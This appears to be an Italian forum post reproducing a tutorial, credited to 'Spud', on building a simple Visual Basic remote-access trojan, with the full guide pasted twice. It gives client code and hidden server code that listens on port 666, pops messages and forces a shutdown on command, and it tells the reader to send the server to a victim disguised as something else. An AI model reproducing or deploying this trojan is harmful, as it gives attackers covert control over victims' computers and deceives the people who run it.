Questa guida è stata postata da Ketto93 tempo... ora avrei un problema, quando vado a compilare l'ultimissima parte del server da inviare alla vittima mi da un errore -.-. Sapete il perchè?
Magari la guida potrebbe tornare utile anche a qualcun'altro xD
Comunque ora vi insegno a creare un trojan semplicissimo costituito di server (che terrà la vittima) e client (che terremo noi).
Creare il Client
Creare un nuovo progetto e nella form inserire un Winsock e assicuratevi che nel pannello delle proprietà si chiami winsock1 e nel remoteport mettere "666" e anche su localport.
Ora creare una textbox in cui si inserirà l'ip della vittima e un commandbutton con cui ci si connetterà al server. Cliccare due volte sul commandbutton e inserire il seguente codice:
Citazione:
winsock1.remotehost = text1.text
winsock1.connect
Inserire le funzioni per far funzionare i comandi da dare al server
Inseriremo solo due comandi: il messaggio e lo spegnimento del pc.
Sempre nel client creaimo due commandbutton: uno di nome cmdmessaggio e l'altro cmdspegni.
Clicchiamo due volte su cmdmessaggio e iserire il codice:
Citazione:
winsock1.sendData “Messaggio da visualizzare”
Cliccare due volte su cmdspegni e inserire:
Citazione:
winsock1.sendDAta “spegni”
Fare l'exe e tenere il client nel vostro computer.
Creare il server che terrà la vittima
Creare un nuovo progetto e inserire un winsock. Impostare la proprietà visible su False della form. Poi impostare le proprietà local e remoteport su "666"
Cliccare su uno spazio vuoto della form e inserire il codice:
Citazione:
winsock1.listen
E di seguito inserire:
Citazione:
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Sempre di seguito:
Citazione:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati
Select Case dati
Case “messaggio”
msgbox “Ciao utente!!!”
Case “spegni”
Shell (”shutdown -s -f -t 01″)
End Select
End Sub
E ancora:
Citazione:
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub
Fare l'exe e inviare il server alla vittima facendolo passare per altro.
Citazione:
Fonte: Spud
By Spud
Magari la guida potrebbe tornare utile anche a qualcun'altro xD
Comunque ora vi insegno a creare un trojan semplicissimo costituito di server (che terrà la vittima) e client (che terremo noi).
Creare il Client
Creare un nuovo progetto e nella form inserire un Winsock e assicuratevi che nel pannello delle proprietà si chiami winsock1 e nel remoteport mettere "666" e anche su localport.
Ora creare una textbox in cui si inserirà l'ip della vittima e un commandbutton con cui ci si connetterà al server. Cliccare due volte sul commandbutton e inserire il seguente codice:
Citazione:
winsock1.remotehost = text1.text
winsock1.connect
Inserire le funzioni per far funzionare i comandi da dare al server
Inseriremo solo due comandi: il messaggio e lo spegnimento del pc.
Sempre nel client creaimo due commandbutton: uno di nome cmdmessaggio e l'altro cmdspegni.
Clicchiamo due volte su cmdmessaggio e iserire il codice:
Citazione:
winsock1.sendData “Messaggio da visualizzare”
Cliccare due volte su cmdspegni e inserire:
Citazione:
winsock1.sendDAta “spegni”
Fare l'exe e tenere il client nel vostro computer.
Creare il server che terrà la vittima
Creare un nuovo progetto e inserire un winsock. Impostare la proprietà visible su False della form. Poi impostare le proprietà local e remoteport su "666"
Cliccare su uno spazio vuoto della form e inserire il codice:
Citazione:
winsock1.listen
E di seguito inserire:
Citazione:
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Sempre di seguito:
Citazione:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati
Select Case dati
Case “messaggio”
msgbox “Ciao utente!!!”
Case “spegni”
Shell (”shutdown -s -f -t 01″)
End Select
End Sub
E ancora:
Citazione:
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub
Fare l'exe e inviare il server alla vittima facendolo passare per altro.
Citazione:
Fonte: Spud
By Spud